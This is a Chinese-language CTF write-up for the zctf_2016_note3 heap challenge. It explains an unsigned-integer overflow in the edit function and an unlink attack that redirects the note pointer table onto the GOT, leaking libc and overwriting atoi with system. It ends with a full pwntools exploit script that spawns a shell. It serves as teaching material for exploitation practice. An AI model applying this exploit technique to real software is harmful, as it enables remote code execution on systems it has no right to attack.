zctf_2016_note3 详解
题目可以在buu上找到,ibc版本为2.23
和wiki做的不一样,wiki那个我还没看懂,改天再研究研究orz
查看保护机制
题目分析
是个菜单题,提供了新建note、打印note、编辑note、删除note四个功能
添加note
最多添加七个note,每个note大小在0-0x400之间,申请到的堆空间地址会放在ptr
指针处
漏洞在edit功能模块
当a2 = 0时,由于i为unsigned_int,-1相当于无穷大,会造成无限制读入,令我们可以覆盖后面的堆块
show是假的
另外需要注意的是show函数并没有实现打印功能,那么通过打印堆块内容泄露libc的办法就不可行了
delete
整合思路
要做的事情有两个
- 泄露libc
- getshell
整合上面得到的信息,由于show函数并没有实现打印功能,那么通过fastbin attack打印fd泄露libc的办法就不可行了,不过我们注意到申请到的堆块指针全部放在ptr中,并且在delete函数中free对指针进行了直接操作,那么可以通过unlink挟持got表到ptr,之后通过打印got表和篡改got表来实现泄露和getshell
具体实现如下:
覆盖free为puts实现打印功能,通过unlink覆盖ptr为free_got表以及atoi_got表,然后通过edit 可以篡改free_got为puts_plt实现打印功能。
ptr已经被覆盖,我们可以直接打印atoi_got表中的函数地址来泄露libc,通过篡改atoi_got表为system来实现getshell
unlink过程详解
我们首先申请0、0x100、0x100、0x100的堆块,如图左所示,记作chunk0-3
为了unlink我们需要一个假的空闲的堆块,这里选择在ptr[2]处进行伪造,我们希望free(ptr[1])造成chunk1和fake_chunk的合并
为了让glibc相信这个fake chunk就是chunk2,我们需要修改chunk1和chunk2的size,以及chunk3的prevsize
为了让glibc相信fake chunk是空闲的,需要修改chunk3的prev_inuse标志位
(其实不伪造的这么精致也可以,比如让fake_chunk只有0x70大,只要fake_chunk + 8位置的prev_inuse标志位能对上就行)
payload = p64(0) * 3 + p64(0x121) + b'a' * 0x110
payload += p64(0) + p64(0x101) + p64(fd) + p64(bk) + b'a' * (0x100-0x20)
payload += p64(0x100) + p64(0x110)
执行unlink之后,ptr[2] = ptr[2] - 0x18 = ptr - 0x8
之后编辑ptr[2],就可以覆盖ptr区域存储的指针,就可以实现对got表的打印和修改了
exp:
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./zctf_2016_note3')
# io = remote('node4.buuoj.cn', 26242)
# gdb.attach(io)
elf = ELF('./zctf_2016_note3')
libc = ELF('./libc-2.23.so')
def new(size, content):
io.recvuntil(b'>>\n')
io.sendline(b'1')
io.recvuntil(b'1024)\n')
io.sendline(size)
io.recvuntil(b'content:\n')
io.sendline(content)
def show():
io.recvuntil(b'>>\n')
io.sendline(b'2')
def edit(idx, content):
io.recvuntil(b'>>\n')
io.sendline(b'3')
io.recvuntil(b'note:\n')
io.sendline(idx)
io.recvuntil(b'content:\n')
io.sendline(content)
def delete(idx):
io.recvuntil(b'>>\n')
io.sendline(b'4')
io.recvuntil(b'note:\n')
io.sendline(idx)
ptr = 0x6020C8
new(b'0', b'aaaa') # idx 0
new(b'256', b'aaaa') # idx 1
new(b'256', b'aaaa') # idx 2
new(b'256', b'aaaa') # idx 3
# delete(b'2')
# 伪造idx 2的free状态和fd bk
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
payload = p64(0) * 3 + p64(0x121) + b'a' * 0x110
payload += p64(0) + p64(0x101) + p64(fd) + p64(bk) + b'a' * (0x100-0x20)
payload += p64(0x100) + p64(0x110)
edit(b'0', payload)
# 触发unlink,free(1)使1和2合并
delete(b'1')
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
# 覆盖ptr里的堆地址
payload = b'a' * 0x8 + p64(free_got) + p64(atoi_got) + p64(atoi_got) + p64(atoi_got)
edit(b'2', payload)
# 泄漏atoi_got
edit(b'0', p64(puts_plt)[:-1])
delete(b'2')
atoi_addr = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('atoi_addr -> ' + hex(atoi_addr))
libc_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + libc_addr
# 修改atoi_got为system地址
edit(b'3', p64(system_addr)[:-1])
io.recvuntil(b'>>\n')
io.sendline(b'/bin/sh')
io.interactive()